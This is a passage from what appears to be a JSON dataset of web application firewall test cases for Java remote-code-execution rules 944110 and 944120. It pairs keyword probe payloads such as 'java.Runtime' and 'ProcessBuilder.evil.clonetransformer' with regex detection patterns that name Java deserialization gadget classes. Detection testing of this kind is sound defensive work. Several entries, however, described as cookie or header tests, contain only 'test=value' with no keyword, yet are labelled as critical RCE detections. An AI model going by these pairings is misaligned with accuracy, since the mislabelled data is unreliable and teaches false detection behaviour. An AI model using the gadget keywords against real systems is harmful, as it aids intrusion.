} }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.ProcessBuilder" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:runtime|processbuilder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944110", "test_description": "Argument test includes keywords java. and ProcessBuilder" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "java.Runtime=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:runtime|processbuilder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944110", "test_description": "Argument name includes keywords java. and Runtime" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "java.ProcessBuilder=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:runtime|processbuilder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944110", "test_description": "Argument name includes keywords java. and ProcessBuilder" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:runtime|processbuilder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944110", "test_description": "Cookie test includes keywords java. and Runtime" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:runtime|processbuilder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944110", "test_description": "Cookie test includes keywords java. and ProcessBuilder" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:runtime|processbuilder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944110", "test_description": "Cookie name includes keywords java. and Runtime" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:runtime|processbuilder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944110", "test_description": "Cookie name includes keywords java. and ProcessBuilder" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:runtime|processbuilder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944110", "test_description": "Request header test includes keywords java. and Runtime" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:runtime|processbuilder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944110", "test_description": "Request header test includes keywords java. and ProcessBuilder" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><java.Runtime attribute_name=\"attribute_value\">value</java.Runtime></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:runtime|processbuilder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944110", "test_description": "XML element includes keywords java. and Runtime" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element java.Runtime=\"attribute_value\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:runtime|processbuilder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944110", "test_description": "XML attribute name includes keywords java. and Runtime" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"java.lang.string\" attribute2_name=\"Runtime\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:runtime|processbuilder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944110", "test_description": "XML attribute value includes keywords java. and Runtime" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">java.Runtime</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:runtime|processbuilder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944110", "test_description": "XML element value includes keywords java. and Runtime" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><java.ProcessBuilder attribute_name=\"attribute_value\">value</java.ProcessBuilder></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:runtime|processbuilder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944110", "test_description": "XML element includes keywords java. and ProcessBuilder" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element java.ProcessBuilder=\"attribute_value\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:runtime|processbuilder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944110", "test_description": "XML attribute name includes keyworda java. and ProcessBuilder" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"java.lang.string\" attribute_name2=\"ProcessBuilder\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:runtime|processbuilder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944110", "test_description": "XML attribute value includes keywords java. and ProcessBuilder" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">java.ProcessBuilder</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:runtime|processbuilder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944110", "test_description": "XML element value includes keywords java. and ProcessBuilder" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=ProcessBuilder.evil.clonetransformer" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Argument test includes keyword ProcessBuilder.evil.clonetransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "ProcessBuilder.evil.clonetransformer=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Argument name includes keyword ProcessBuilder.evil.clonetransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Cookie test includes keyword ProcessBuilder.evil.clonetransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Cookie name includes keyword ProcessBuilder.evil.clonetransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Request header test includes keyword ProcessBuilder.evil.clonetransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><ProcessBuilder.evil.clonetransformer attribute_name=\"attribute_value\">value</ProcessBuilder.evil.clonetransformer></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "XML element includes keyword ProcessBuilder.evil.clonetransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element ProcessBuilder.evil.clonetransformer=\"attribute_value\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "XML attribute name includes keyword ProcessBuilder.evil.clonetransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"ProcessBuilder.evil.clonetransformer\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "XML attribute value includes keyword ProcessBuilder.evil.clonetransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">ProcessBuilder.evil.clonetransformer</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "XML element value includes keyword ProcessBuilder.evil.clonetransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">ProcessBuilder.evil.clonetransformer</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Nested XML element value includes keyword ProcessBuilder.evil.clonetransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=ProcessBuilder.evil.clonetransformer" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Content-Type text/plain includes keyword ProcessBuilder.evil.clonetransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"ProcessBuilder.evil.clonetransformer\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Content-Type application/json arg value includes keyword ProcessBuilder.evil.clonetransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"ProcessBuilder.evil.clonetransformer\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Content-Type application/json arg name includes keyword ProcessBuilder.evil.clonetransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "-----------------------------thisissparta\nContent-Disposition: form-data; name=\"payload\"\nContent-Type: application/json\n\n{\"ProcessBuilder.evil.clonetransformer\": \"test\"}\n-----------------------------thisissparta--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": 